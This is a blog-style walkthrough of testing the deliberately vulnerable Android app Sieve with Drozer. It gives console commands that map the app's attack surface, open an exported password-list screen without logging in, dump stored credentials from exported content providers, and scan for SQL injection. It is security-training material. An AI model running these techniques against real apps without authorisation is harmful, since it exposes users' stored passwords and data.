Android Pen Test Part II

This is part II of my walkthru of pentesting Android Apps using Drozer. In case you haven't read the first part, here. Please go thru it as I had covered how to connect the emulator or Android device to a host with the use of adb. The idea of using Drozer is to test the IPC processes between apps, akin to testing east and west communications. Much of my walkthru was taken from the Drozer user guide, here. My intention of documenting it is for my reference and document some idea of how basic dynamic analysis is performed on Android apps.

1. Download Sieve apk
2. Install Drozer agent on the device or emulator
3. Install Sieve and configure some passwords
4. Start Drozer agent
5.  List devices that are connected, emulator or physical device:
# adb devices
List of devices attached
G6AZCY03R9063SF    device

6. Fwd the connection from device to host 
# adb forward tcp:31415 tcp:31415

7. Start Drover server
# drozer console connect
Selecting 71cf13dc4e2c532c (asus ASUS_Z012D 7.0)

            ..                    ..:.
           ..o..                  .r..
            ..a..  . ....... .  ..nd
              ro..idsnemesisand..pr
              .otectorandroidsneme.
           .,sisandprotectorandroids+.
         ..nemesisandprotectorandroidsn:.
        .emesisandprotectorandroidsnemes..
      ..isandp,..,rotectorandro,..,idsnem.
      .isisandp..rotectorandroid..snemisis.
      ,andprotectorandroidsnemisisandprotec.
     .torandroidsnemesisandprotectorandroid.
     .snemisisandprotectorandroidsnemesisan:
     .dprotectorandroidsnemesisandprotector.

drozer Console (v2.3.4)
dz>

7. Check for pakage sieve:
dz> run app.package.list -f sieve
com.mwr.example.sieve (Sieve)

8.  Check package info:
dz> run app.package.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
  Application Label: Sieve
  Process Name: com.mwr.example.sieve
  Version: 1.0
  Data Directory: /data/user/0/com.mwr.example.sieve
  APK Path: /data/app/com.mwr.example.sieve-1/base.apk
  UID: 10199
  GID: [3003]
  Shared Libraries: null
  Shared User ID: null
  Uses Permissions:
  - android.permission.READ_EXTERNAL_STORAGE
  - android.permission.WRITE_EXTERNAL_STORAGE
  - android.permission.INTERNET
  Defines Permissions:
  - com.mwr.example.sieve.READ_KEYS
  - com.mwr.example.sieve.WRITE_KEYS

9. Check the attack surface:
dz> run app.package.attacksurface com.mwr.example.sieve
Attack Surface:
  3 activities exported
  0 broadcast receivers exported
  2 content providers exported
  2 services exported
    is debuggable

Now, the activities are the pages available on the app. The Broadcast is the advertised msg that sieve sends to other apps, the content is basically the database and the sevices are the background functions by this app. Debugable is good news since it means we can step thru the code once adb is attached.

10. Check the type of activities that are exportable:
dz> run app.activity.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
  com.mwr.example.sieve.FileSelectActivity
    Permission: null
  com.mwr.example.sieve.MainLoginActivity
    Permission: null
  com.mwr.example.sieve.PWList
    Permission: null

11. Looks like the PWList can be exported!! Lets try and start it:
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

12. On the emulator, you should see the screen pop up with the PWList page!

13. Now, time to probe the database! Lets see what we can find in the exported content using Drozer scanner:
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query  content://com.mwr.example.sieve.DBContentProvider/
Unable to Query  content://com.mwr.example.sieve.FileBackupProvider/
Unable to Query  content://com.mwr.example.sieve.DBContentProvider
Able to Query    content://com.mwr.example.sieve.DBContentProvider/Passwords/
Able to Query    content://com.mwr.example.sieve.DBContentProvider/Keys/
Unable to Query  content://com.mwr.example.sieve.FileBackupProvider
Able to Query    content://com.mwr.example.sieve.DBContentProvider/Passwords
Unable to Query  content://com.mwr.example.sieve.DBContentProvider/Keys

Accessible content URIs:
  content://com.mwr.example.sieve.DBContentProvider/Keys/
  content://com.mwr.example.sieve.DBContentProvider/Passwords
  content://com.mwr.example.sieve.DBContentProvider/Passwords/

14. Looks like there are 3 accessible contents:
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords
| _id | service   | username  | password                                                  | email                  |
| 1   | maybank2u | johnlee   | MaKVa1uGBpBHMFcRAdm8m1iXBUHVOmxYjCchfQ== (Base64-encoded) |                        |
| 2   | ambank    | saralee   | Nu7NYGzevKQflz3Mb6Ul/XKEpnyPHlcjqhM= (Base64-encoded)     | saralee@fee.com        |
| 3   | yahoomail | tasha.fox | ysG1+0SFpdMpwJ/nCVBci+T9bX/+mA== (Base64-encoded)         | tasha.fox@yahoo.com.my |

15. Using base 64 decoder, you should be able to decode those passwords easily.

16. Lets look for sql injection vulnerabilities in the db:

dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Not Vulnerable:
  content://com.mwr.example.sieve.DBContentProvider/Keys
  content://com.mwr.example.sieve.DBContentProvider/
  content://com.mwr.example.sieve.FileBackupProvider/
  content://com.mwr.example.sieve.DBContentProvider
  content://com.mwr.example.sieve.FileBackupProvider

Injection in Projection:
  content://com.mwr.example.sieve.DBContentProvider/Keys/
  content://com.mwr.example.sieve.DBContentProvider/Passwords
  content://com.mwr.example.sieve.DBContentProvider/Passwords/

Injection in Selection:
  content://com.mwr.example.sieve.DBContentProvider/Keys/
  content://com.mwr.example.sieve.DBContentProvider/Passwords
  content://com.mwr.example.sieve.DBContentProvider/Passwords/

17. From here, you can use the app.provider.query to perform SQLi. Most of these steps are outline in the Drozer user guide.

The above steps represent a summary walkthru of using Drozer to test inter processes communication (IPC) between apps. It is merely a small slice of the application pen test suit. There are other vulnerable apps out there for educational purposes such as GoatDroid for those that are interested to pursue it further. Also, check out OWASP Mobile Security Testing Guide.

In part 3, I will cover another method of pentesting. This time I will attempt to use an application proxy such as Burp to intercept http requests to dissect client server communication.